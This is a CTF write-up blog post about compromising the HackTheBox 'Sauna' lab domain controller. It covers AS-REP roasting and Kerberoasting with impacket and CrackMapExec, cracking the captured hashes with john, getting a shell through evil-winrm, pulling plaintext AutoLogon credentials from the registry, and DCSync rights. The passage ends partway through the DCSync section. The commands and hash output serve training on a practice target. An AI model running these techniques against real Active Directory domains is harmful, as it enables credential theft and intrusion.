[HackTheBox] Sauna

[HackTheBox] Sauna

·

28 min read

Just another ASREPRoast / WinRM / Autologon / NTDS.dit / NC / Replication Topology / PsExec / SAM LM:NT / DCSync Write-up.

You may register the Microsoft Learn (with Windows filter) documentation bookmark for reference :)

There might be some discrepencies in this article. Indeed, I will sometimes use cme, and some other times nxc. The methodology, however, remains identical. In the current context of this article, cme and nxc are interchangeable.

If you don’t have the AD Modules installed, you need to enable the RSAT (Remote Server Administration Tools) features, or install them.

You might find articles talking about NTHashes using the term NTLM hash. This is a wrong association. NTLM is a Windows Challenge/Response authentication protocol.

Machine link.

IppSec Walthrough (demonstrating vim’s macros, insane !)

Foothold

Open ports

Numerous ports are open on the target:

kali@kali:~$ masscan -p1-65535 10.10.10.100 --rate=1000 -e tun0 > ports
kali@kali:~$ nmap -Pn -sV -sC 10.10.10.100 -v2 -oN nse.nmap -p $(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' |sort -n | tr '\n' ',' | sed 's/,$//' )
[...]
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-09-13 04:38:59Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m56s
| smb2-time: 
|   date: 2023-09-13T04:39:49
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35558/tcp): CLEAN (Timeout)
|   Check 2 (port 45653/tcp): CLEAN (Timeout)
|   Check 3 (port 55552/udp): CLEAN (Timeout)
|   Check 4 (port 57297/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

In particular, the ports:

  • 135 (RPC), 139/445 (Netbios/SMB) and 5985 (WinRM) reveal the target is a Windows Machine.

  • 53 (DNS), 88 (Kerberos) and 389/636 (LDAP/S) reveal the target is a Domain Controller (especially because of the Kerberos service).

Thus, because the SMB service is open on the server, we might use the smb protocol with crackmapexec. The server’s FQDN (Fully Qualified Domain Name) is SAUNA.EGOTISTICAL-BANK.LOCAL:

kali@kali:~$ cme smb 10.10.10.175
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

First things first, let's add this DNS server to our /etc/resolv.conf to make it resolve any domain names related with the SAUNA’s scope:

kali@kali:~$ sudo echo 'nameserver 10.10.10.175 > /etc/resolv.conf'

Down the rabbit holes (just a bit, that’s okay)

Any anonymously accessible share ?

kali@kali:~$ cme smb 10.10.10.175 -u 'a' -p ''
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [-] EGOTISTICAL-BANK.LOCAL\a: STATUS_LOGON_FAILURE

Nope :[

Let's move on to the IIS web server.

Guessing Bank usernames ?

The web server is hosting an application named Egotistical Bank.

Different names are disclosed in the about.html page:

These names are likely to correspond to valid domain users candidates:

sdriver
scoins
btaylor
fsmith
hbear
skerb

As we can see in the WADComs’s cheatsheet, when we only have usernames, a good attack scenario is to check which domain users have the Kerberos Pre-Authentication disabled. Such users are said to be ASREPRoastable.

Kerberos authentication (TLDR)

For more details, check out RFC4120, ionos, tarlogic, or my Active article which writeups the Kerberos authentication concepts.

The Kerberos authentication process and resource access is mainly made up of 3 exchanges, each made up of 2 messages (a REQuest, and a REsPonse):

  • KRB_AS_REQ/REP: The client authenticates to the KDC/AS server to get a TGT.

  • KRB_TGS_REQ/REP: The client uses that TGT to authenticate to the KDC/TGS (server) and get a TGS (service).

  • KRB_AP_REQ/REP: The client uses that TGS to communicate with the final APplication server hosting the desired service.

The exchange we’re interested in is the first one, where the client is authenticating to the KDC/AS via the 2 messages KRB_AS_REQ and KRB_AS_REP.

Images taken from tarlogic.

ASREPRoast

Good references to check (among many others): hacktricks, The Hacker Recipes.

References to a Domain Account (or Account) object is refering to either a Domain User or a Domain Computer object. These words are interchangeable in this section.

Quick Overview

By default, Active Directory Domain Accounts have an attribute named DoesNotRequirePreAuth set to $False (0). However, it is possible to change this value to $True (1) using the Set-ADAccountControl cmdlet, which implies that the updated account’s Kerberos pre-authentication is NOT required to logon.

As stated in RFC4120, Kerberos pre-authentication refers to the initial KRB_AS_REQ exchange, where the account currently holds no credentials.

When that attribute is set to $True (1), this very first message in the Kerberos authentication doesn’t require the account to prove its identity, with its secret key (NTHash derived from its password), to get a TGT:

Therefore, an attacker able to communicate with the KDC/AS may ask a TGT on behalf of any domain user without the user’s secret key (i.e. password or NTHash).

As said previously, this TGT request is done in the KRB_AS_REQ message. However, the KRB_AS_REP response contains the TGT, but most importantly, part of the response is encrypted with the impersonated user’s NTHash by the KDC/AS:

Indeed, the KDC/AS stores every users’ NTHashes in tis database. Thus, it can provide, in its response, information encrypted with the requestee’s NTHash.

ASREPRoast exploits that flaw. ASREPRoasting allows the attacker to get a TGT’s response, on behalf of an arbitrary domain user, which contain information encrypted with the user’s NTHash. Therefore, the attacker can try to offline-crack that NTHash using public tools such as john or hashcat.

Detection

We may get these ASREPRoastable accounts using:

  • The asreproast module in CrackMapExec:
kali@kali:~$ cme ldap 10.10.10.175 -u users.txt -p '' --asreproast ASREProastables.txt --kdcHost 10.10.10.175
[...]
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    445    SAUNA            $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:58c2d8474aa26d44b23f945a854e753d$bb9ca0e5b550e00c18936fc9c520e585472ca55326b98cbfe265ae85a55c5b09245bedb38621d6cc4ea65353216703ab1fa22cf643a74630dcdbdadc33168265d2bd3490dfb0d474d5d09f719a02746ce3870edc6e4145cf4ed0800e8b3bfcc507b48b8fa8a534359a98bc0e66c57e9313dc553a69a890a24062759b2dbf6d664fd567e40203b45e2068a54af1fe763793bb0293ce9d53a1cf6584df1bc34755b24f63de5fc2a4f75b7d124e84908f0dc54e8b15f36b1782457cdf8846c2e4c51f50c7e867a60f00413dce053a0cc05eaa484ee98f4d0665ec741e5009707126c0a1ba6e17af68cb0df8ee04bb0c0ae920cda989aa6d8900c4c79d746cc2ef30
  • The impacket GetNPUsers.py script.

    GetNPUsers.py reads the list of users. Then, for each user, the the getTGT() function constructs the KRB_AS_REQ message accordingly to request a TGT. If the user is ASREPRoastable, it returns the corresponding TGT (KRB_AS_REP). Otherwise, it returns an error:

kali@kali:~$ GetNPUsers.py -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -format hashcat |grep -v 'KDC_ERR_C_PRINCIPAL_UNKNOWN'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:05dc718abd836a79063d8b63c4a54286$a3e220b081abc1b7007707b6126fffd2633a40d8e7be6b818f415fe58c23f77af0f6861a689a0c545c54724143393bb9c174f220b80bb1f56ea67d142bd0b65b1a4a7e3003fc6cd8ee6e0dc00a46469dadc9c2b17d85ef29c419eaa897545d1cc29e85562d35582d819782775dcb3f972d213b7bc9afb6e7b7a0adc62d79b1e6a0d82e8f4c0c11b0e0d7ac71bcc91daa2ab8162c2da273336a5502f6574a706d54351e1ab60e22cda0aa38e1c9c79e7e73cf98c2ef617c676ae733c8568f77862a6c151aa913e0b1f646579d4076992e0262d6aa4cd5105a8027ce23634dd7a4d3741c29a0e4d62a63b62abd55f6c4a5217335fd061c4a7dbb4f21f6a314038c

(Jumping into the future: We could also have used the AD modules, after having access to the target’s shell. You might check by yourself afterwards in this article, when you evil-winrm'ed svc_loanmgr.)

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> Get-ADUSer -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth


DistinguishedName     : CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
DoesNotRequirePreAuth : True
Enabled               : True
GivenName             : Fergus
Name                  : Fergus Smith
ObjectClass           : user
ObjectGUID            : b6a6403e-a7df-4abf-92fb-b5bf1a5e3aed
SamAccountName        : FSmith
SID                   : S-1-5-21-2966785786-3096785034-1186376766-1105
Surname               : Smith
UserPrincipalName     : FSmith@EGOTISTICAL-BANK.LOCAL

As we can see, only one domain user is ASREPRoastable: fsmith.

TGT cracking

When I say TGT cracking, I implicitly mean cracking the user’s NTHash, which encrypts part of the KRB_AS_REP message.

Indeed, cracking the TGT, literally, means cracking the part of the KRB_AS_REP message encrypted by the krbtgt’s account NTHash. However, this is (mostly) not possible. Check my Active CTF article for more details.

Then, we can crack fsmith’s NTHash using either hashcat or john:

kali@kali:~$ hashcat -m 18200 --force -a 0 hashes /usr/share/wordlists/rockyou.txt
kali@kali:~$ echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:58[...]30' |john --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 3 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)

john reveals the password Thestrokes23. So, we may compromise the account EGOTISTICAL-BANK.LOCAL/fmisth:Thestrokes23 !

Ldap2BloodyHound

This account has access to the LDAP service:

kali@kali:~$  nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL'
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

Then, we can look for interesting attack path vectors in a graph BloodHound view via the bloodhound.py ingestor:

kali@kali:~$ bloodhound.py -u 'fsmith' -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all --zip
kali@kali:~$ ls -l *bloodhound.zip
-rw-rw-r-- 1 jamarir jamarir 141536 Oct 26 15:50 20230913003310_bloodhound.zip

Windows Remote Management Users ?

As shown in the Nmap scan previously, the WinRM (Windows Remote Management) service is running:

5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0

The WinRM service provides IT professionnals to automate the servers’ management remotely. In a nutshell, we can use WinRM to get a remote shell in the network on systems running WinRM. The domain users allowed to access this service are the members of the Remote Management Users group:

We could also have used the following LDAP query to get the members of the Remote Management Users group:

kali@kali:~$ nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL' --query "(&(memberOf=CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL))" "sAMAccountName distinguishedName objectCategory memberOf"
SMB         10.10.10.175    445    SAUNA            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    389    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
LDAP        10.10.10.175    389    SAUNA            [+] Response for object: CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            distinguishedName:   CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            memberOf:            CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            sAMAccountName:      FSmith
LDAP        10.10.10.175    389    SAUNA            objectCategory:      CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            [+] Response for object: CN=L Manager,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            distinguishedName:   CN=L Manager,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            memberOf:            CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP        10.10.10.175    389    SAUNA            sAMAccountName:      svc_loanmgr
LDAP        10.10.10.175    389    SAUNA            objectCategory:      CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL

SVC_LOADMGR and FSMITH are members of this group. For example, as we can see in the following crackmapexec’s output shows, FSMITH is allowed to access the WinRM service exposed on 10.10.10.175:

kali@kali:~$ cme winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   10.10.10.175     [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

Thus, we can get an interactive remote PowerShell session over WinRM using evil-winrm, and get the user’s flag:

By default, port 5985 (HTTP) is used. To use port 5986 (HTTPS), the option —ssl must be added.

kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
Evil-WinRM* PS C:\Users\FSmith\Documents> Get-Content c:/users/fsmith/desktop/user.txt
12[...]68

It’s also possible to execute an arbitrary command in PowerShell using the Invoke-Command cmdlet.

If the command fails, you might need to add the domain in your local WSMan’s trusted hosts (see the Microsoft documentation).

PS C:\Users\jamarir> Set-Item WSMan:\localhost\Client\TrustedHosts "*.EGOTISTICAL-BANK.LOCAL"
PS C:\Users\jamarir> Invoke-Command -ComputerName SAUNA.EGOTISTICAL-BANK.LOCAL -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICAL-BANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -ScriptBlock {Get-Content c:/users/fsmith/desktop/user.txt}
12[...]68

Kerberoasting or Password Reusage ? That is the question.

You may check my Active CTF article for more details on this attack.

In BloodHound, we see that, besides the krbtgt account (that hosts the kadmin/changepw), the user HSmith is Kerberoastable:

Then, we may use the GetUserSPNs.py script, from the impacket suite, to request a TGS for all domain users with a not-NULL SPN attribute (hmsith alone here, if we consider krbtgt not Kerberoastable):

kali@Kkali:~$ impacket-GetUserSPNs -request -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/'fsmith:Thestrokes23'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName                      Name    MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------------------  ------  --------  --------------------------  ---------  ----------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111  HSmith            2020-01-23 06:54:34.140321  <never>



[-] CCache file is not found. Skipping...
$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$64a08e2b30101b17ecf09508409b8942$8b9cd945eb4ed735562a76ab44c5d9ab5a8f73494abce25e595689ab4b364cc3cbba48261426e293af59af9826d823e81c7f26dc03eeb3a00ec9562c851955224f2eae5f03fa9f887c93dce1f54c096f95bfb9e1ed271b8c1ed299affb1e7538a99a52724b8281b4df5aca4ba46b1e6fb180c0b1948050c9d8cd5de4a083b3f7c7b91eb9bf15834348e40b8f2751c50f2f01c2a506c72acdcf36f5376dab0de2b590437c8a08fcbb3d46b024cfbd6f5013d84bac09f54868b67ae21168f9506dd171641c568af09332fea9a39774a4f3b72eac1609458a37a5d8d43f531c0b8b4c2114af96a199b99b730e65f9546a644a9bcc4ef2981faaf66e254f5921e92ec93b377fff149980a4307c08f5b7d539daf478fb380be8790219d3ba74da9b70bbee9612a099d9e5ed7e23e7333185dc7f6fa6496c710e1e8340327c2a3e908da0226360c459f75a7a481127a4a930186e22c86ade609864aaacb7cf823f641bd99a6d682ef763172c50059a6d37690d946598a2f3f8a792712ba70adf719423c841bfe55551ac84f9899bed0c6cc22661f6632d8d6cb3ed432d0a15cfd256ae2b1ddec237adbe51893088699e7e9f06d1702d4d9f6451e37dd551df51c9d7f0c7177e689732a1764c8e7a27f6c785f5f3424bc3e9a8568bf882fc97e1f21230964b4f619f3ffc25def1c092b7765b67211b63150b614b038058710033e3d4b85073a5e4538777bf5074b99fb99969050e20e90c398efd5ce37c3a7b1c24d13f6c31467087a2f77c050ebbc7146ee8879924d93fd8668df48e4d6003c04dbabb4ee11df98ec4037c472c2aa5c79eefdbae18fc4ee70e5249e7c5a7cfdb03a529d374ff03430a70f99d3023dfffeb87e1c16a8f0f03775dc904a8e773c74dceb0e56d8b87fb839075c105e49996e757a2ad176d8e9b34baef963076f7a74279175dac3c3d7a0b6982b91cff5ee15e8d929b84e1b967984e2133aff8e95465f6887f89413762b76d1a20d06bf6a347a6bf5939e9c842bc519f96bd2698f8a86215a2e7cc1fa05ac2098a3b9f4e5d4d84253283e2e7f0a87c867f0d9c454b1717e7be150916527e85a5958e732fc33589c05e7effcb1c1769a7954db4769766b8c0066f049067a80302543b080cee4390ba17a5f9fad0deb5b9f886381e372e8c9d96333f08b5e88f12aa5580649db05465d8d88e5f34287ea46a54fabcca114445ad921314f2aa567d51a5e3fa886df193273b3c93ee2cdd9e62116b5f335bbb428c5bdf480a275efec376075f131c3365b5aa1b27b443b282974dddfc422293eb46587ae733d0e9ee398a8fb14d90ab6bc705535ae54f7034e9274b24785e5503b512ce9e08425304f2a19a35c9941203cf582a034210708251a81f1828bb5de0329ea45895

If you have the error KRB_AP_ERR_SKEW(Clock skew too great) when running the above script, it means your local attacker machine‘s time isn’t synchronized with the DC’s one:

kali@Kkali:~$ impacket-GetUserSPNs -request -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/'fsmith:Thestrokes23'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName                      Name    MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------------------  ------  --------  --------------------------  ---------  ----------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111  HSmith            2020-01-23 06:54:34.140321  <never>



[-] CCache file is not found. Skipping...
[-] Principal: EGOTISTICAL-BANK.LOCAL\HSmith - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Indeed, every Kerberos ticket relies on time to define the tickets’ expiration, encrypt the timestamp proving the client’s authenticity, etc.. As the RFC4120 states on the KRB_AP_REQ’s receipt: “If the local (server) time and the client time in the authenticator differ by more than the allowable clock skew (e.g., 5 minutes), the KRB_AP_ERR_SKEW error is returned.”

The DC here is also an NTP server, as it runs the NTP service on port UDP 123:

kali@kali:~$ sudo nmap -sU -p123 --open -Pn --disable-arp-ping 10.10.10.175
[...]
PORT    STATE SERVICE
123/udp open  ntp

Then, we may synchronize our local time with the DC:

kali@kali:~$ sudo timedatectl set-ntp 0; sudo rdate -n 10.10.10.175

And crack this NTHash:

kali@kali:~$ echo '$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$64a08e2b30101b17ecf09508409b8942$8b9cd945eb4ed735562a76ab44c5d9ab5a8f73494abce25e595689ab4b364cc3cbba48261426e293af59af9826d823e81c7f26dc03eeb3a00ec9562c851955224f2eae5f03fa9f887c93dce1f54c096f95bfb9e1ed271b8c1ed299affb1e7538a99a52724b8281b4df5aca4ba46b1e6fb180c0b1948050c9d8cd5de4a083b3f7c7b91eb9bf15834348e40b8f2751c50f2f01c2a506c72acdcf36f5376dab0de2b590437c8a08fcbb3d46b024cfbd6f5013d84bac09f54868b67ae21168f9506dd171641c568af09332fea9a39774a4f3b72eac1609458a37a5d8d43f531c0b8b4c2114af96a199b99b730e65f9546a644a9bcc4ef2981faaf66e254f5921e92ec93b377fff149980a4307c08f5b7d539daf478fb380be8790219d3ba74da9b70bbee9612a099d9e5ed7e23e7333185dc7f6fa6496c710e1e8340327c2a3e908da0226360c459f75a7a481127a4a930186e22c86ade609864aaacb7cf823f641bd99a6d682ef763172c50059a6d37690d946598a2f3f8a792712ba70adf719423c841bfe55551ac84f9899bed0c6cc22661f6632d8d6cb3ed432d0a15cfd256ae2b1ddec237adbe51893088699e7e9f06d1702d4d9f6451e37dd551df51c9d7f0c7177e689732a1764c8e7a27f6c785f5f3424bc3e9a8568bf882fc97e1f21230964b4f619f3ffc25def1c092b7765b67211b63150b614b038058710033e3d4b85073a5e4538777bf5074b99fb99969050e20e90c398efd5ce37c3a7b1c24d13f6c31467087a2f77c050ebbc7146ee8879924d93fd8668df48e4d6003c04dbabb4ee11df98ec4037c472c2aa5c79eefdbae18fc4ee70e5249e7c5a7cfdb03a529d374ff03430a70f99d3023dfffeb87e1c16a8f0f03775dc904a8e773c74dceb0e56d8b87fb839075c105e49996e757a2ad176d8e9b34baef963076f7a74279175dac3c3d7a0b6982b91cff5ee15e8d929b84e1b967984e2133aff8e95465f6887f89413762b76d1a20d06bf6a347a6bf5939e9c842bc519f96bd2698f8a86215a2e7cc1fa05ac2098a3b9f4e5d4d84253283e2e7f0a87c867f0d9c454b1717e7be150916527e85a5958e732fc33589c05e7effcb1c1769a7954db4769766b8c0066f049067a80302543b080cee4390ba17a5f9fad0deb5b9f886381e372e8c9d96333f08b5e88f12aa5580649db05465d8d88e5f34287ea46a54fabcca114445ad921314f2aa567d51a5e3fa886df193273b3c93ee2cdd9e62116b5f335bbb428c5bdf480a275efec376075f131c3365b5aa1b27b443b282974dddfc422293eb46587ae733d0e9ee398a8fb14d90ab6bc705535ae54f7034e9274b24785e5503b512ce9e08425304f2a19a35c9941203cf582a034210708251a81f1828bb5de0329ea45895' |john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Thestrokes23     (?)

Well, the password is the same as fsmith (EGOTISTICAL-BANK.LOCAL/hmisth:Thestrokes23), I should have begun with a password spray attack ^^’ (where the same password is used for all known usernames).

Anyway, we compromised the fsmith’s account, and already gotten a shell on the box !

Privilege escalation

Autologon for svc_loanmgr ? Legit !

With our shell, we can enumerate what’s in the system using the WinPEAS PowerShell script for example:

kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -s /usr/share/powershell-empire/empire/server/data/module_source/privesc
*Evil-WinRM* PS C:\Users\FSmith> upload Invoke-winPEAS.ps1
*Evil-WinRM* PS C:\Users\FSmith> Import-Module ./Invoke-winPEAS.ps1
*Evil-WinRM* PS C:\Users\FSmith> Invoke-winPEAS

[...]
╔══════════╣ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!
[...]

The -s option in evil-winrm allows to specify a directory containing local PS1 scripts. These scripts are then automatically downloaded by the target receiving the WinRM connection. My WinPEAS’s script is taken from the BC-SECURITY/Empire github repo, installed using apt.

kali@kali:~$ evil-winrm --help

Evil-WinRM shell v3.7

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
[...]
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
[...]

As WinPEAS reveals, the svc_loanmanager account has been granted the AutoLogon builtin mechanism.

When applied on an account in the domain, the account automatically authenticates to the computer without having to specify his credentials (username and password). This mechanism can be setup easily via the registry editor, or the Autologon.exe tool from the Sysinternals suite.

However, as expected, the credentials are stored in plaintext in the registry…

Therefore, we can retrieve them ourselves:

*Evil-WinRM* PS C:\Users\FSmith\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |findstr /r "^Default"
DefaultDomainName            : EGOTISTICALBANK
DefaultUserName              : EGOTISTICALBANK\svc_loanmanager
DefaultPassword              : Moneymakestheworldgoround!

However, these credentials doesn't work with evil-winrm and the username svc_loanmanager:

kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

This is simply because this username doesn’t exist ! This svc_loanmanager username wasn’t part of the Remote Management Users group, so it wouldn’t be possible to initiate a WinRM connection on the target anyway, even if it existed.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net user svc_loanmanager
net.exe : The user name could not be found.
    + CategoryInfo          : NotSpecified: (The user name could not be found.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

More help is available by typing NET HELPMSG 2221.

The correct username is actually the one within the Remote Management Users seen in BloodHound above: svc_loanmgr. Thus, we can compromise this account via WinRM as well !

kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

DCSync for svc_loanmgr ? Why not !

BloodHound shows that svc_loanmgr account has the right to DCSync:

In particular, the BloodHound’s Help popup says:

You may check hacktricks, The Hacker Recipes, InternalAllTheThings, harmj0y, adsecurity, Microsoft Learn (Windows filtered), santhosksblog, or itfreetraining, among many other resources, for an in-depth understanding.

The svc_loadmgr account has 3 rights on the domain, whose respective definitions are:

A Naming Context, annotated NC, is one of the 4 default partitions of the ADDS (Active Directory Domain Services)’s Database.

NTDS.dit huh ?

Active Directory stores information (oh, really ?!) such as users, computers, NTHashes, server names, groups, policies, etc. These information are stored in the Active Directory’s database, called the NTDS (NT Directory Services) file, in C:\Windows\ntds\NTDS.dit.

Let’s quickly review the NTDS’s architecture.

Naming Context huh ?

The NTDS file is divided into sections called Partitions. These partitions are stored as a tree structure of 4 Partitions:

  1. Schema Partition.

  2. Configuration Partition.

  3. Domain Partition.

  4. Application Partition.

This tree definition can be retrieved using the Get-ADRootDSE cmdlet from the AD Modules:

I changed the output’s lines order to coincide with the 4 partitions’ order above.

PS C:\Users\jamarir> Get-ADRootDSE -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 |Select-Object -Expand namingContexts
1. CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
2. CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
3. DC=EGOTISTICAL-BANK,DC=LOCAL
4. DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
   DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

You may check the Microsoft Learn’s glossary, or the ADDS’s Overview, for more details.

  • Schema Partition / Directory Partition: Defines the types of objects that can exist in the forest, or the names’ nomenclature (among other things), and is replicated over the forest’s DCs. It basically defines the AD database’s layout. These types are divided into 2 categories: attributeSchema or classSchema. For example, let’s consider the following LDAP entry:

      kali@kali:~$ nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL' --query "(&(objectCategory=person)(objectClass=user)(sAMAccountName=Administrator))" "*"
